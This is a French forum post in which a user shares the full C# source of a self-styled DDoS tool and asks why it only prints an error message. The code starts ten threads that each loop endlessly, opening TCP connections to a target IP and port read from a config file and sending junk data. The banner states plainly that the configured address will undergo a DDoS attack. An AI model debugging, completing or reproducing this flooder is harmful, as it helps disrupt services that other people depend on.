Bonjour, je viens de coder un DDOS en c# pour m'entrainer avec les socket, thread et compagnie x)
le problème c'est que ce dernier ne fait que m'afficher Erreur

pourtant le deboguer n'affiche aucune exception.
je m'en remet donc à vous pour m'aider à corriger mon problème

Voici mon code source :
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;
using System.Threading;
using System.Net;
using System.IO;
using System.Configuration;
namespace ConsoleApplication4
{
class Program
{
public delegate void delegateType(string Ip, int Port);
public static void DoMethodWithDelegate(delegateType action)
{
Console.Write("\n Adresse Ip : ");
string Ip = Console.ReadLine();
Console.Write("\n Port de connexion : ");
int Port = Convert.ToInt32(Console.ReadLine());
action(Ip, Port);
}
static void Main(string[] args)
{
Console.Title = "DDOS ULTIMATE";
Console.WriteLine("##############################################################\n");
Console.WriteLine("################ DDOS ULTIMATE BY Xx-mister #################\n");
Console.WriteLine("##############################################################\n");
Console.WriteLine("\n \n l'Adresse IP qui vas subir l'attaque DDOS est celle indiquer");
Console.WriteLine("\n Dans le fichier app.config");
Console.WriteLine("\n Appuyez sur une touche pour continuer");
Console.ReadKey(true);
Thread th1 = new Thread(DDOS_Run);
Console.WriteLine("\n Thread 1 ok ! \n");
Thread th2 = new Thread(DDOS_Run);
Console.WriteLine("Thread 2 ok ! \n");
Thread th3 = new Thread(DDOS_Run);
Console.WriteLine("Thread 3 ok ! \n");
Thread th4 = new Thread(DDOS_Run);
Console.WriteLine("Thread 4 ok ! \n");
Thread th5 = new Thread(DDOS_Run);
Console.WriteLine("Thread 5 ok ! \n");
Thread th6 = new Thread(DDOS_Run);
Console.WriteLine("Thread 6 ok ! \n");
Thread th7 = new Thread(DDOS_Run);
Console.WriteLine("Thread 7 ok ! \n");
Thread th8 = new Thread(DDOS_Run);
Console.WriteLine("Thread 8 ok ! \n");
Thread th9 = new Thread(DDOS_Run);
Console.WriteLine("Thread 9 ok ! \n");
Thread th10 = new Thread(DDOS_Run);
Console.WriteLine("Thread 10 ok ! \n");
th1.Start();
Console.WriteLine("Thread 1 lancé ! \n");
th2.Start();
Console.WriteLine("Thread 2 lancé ! \n");
th3.Start();
Console.WriteLine("Thread 3 lancé ! \n");
th4.Start();
Console.WriteLine("Thread 4 lancé ! \n");
th5.Start();
Console.WriteLine("Thread 5 lancé ! \n");
th6.Start();
Console.WriteLine("Thread 6 lancé ! \n");
th7.Start();
Console.WriteLine("Thread 7 lancé ! \n");
th8.Start();
Console.WriteLine("Thread 8 lancé ! \n");
th9.Start();
Console.WriteLine("Thread 9 lancé ! \n");
th10.Start();
Console.WriteLine("Thread 10 lancé ! \n");
Console.ReadKey(true);
}
static void DDOS_Run()
{
while (true)
{
string Ip = ConfigurationManager.AppSettings["IP"];
int Port = Convert.ToInt32(ConfigurationManager.AppSettings["PORT"]);
Socket sock1 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
string m = ("tuvascoulersoustoutemesololkikoorequetedelamortquituuenfoisxd");
byte[] data = System.Text.Encoding.UTF8.GetBytes(m);
try
{
sock1.Connect(Ip, Port);
sock1.Send(data, 0, data.Length, SocketFlags.None);
}
catch
{
Console.WriteLine("Erreur =)");
}
}
}
}
}
Merci d'avance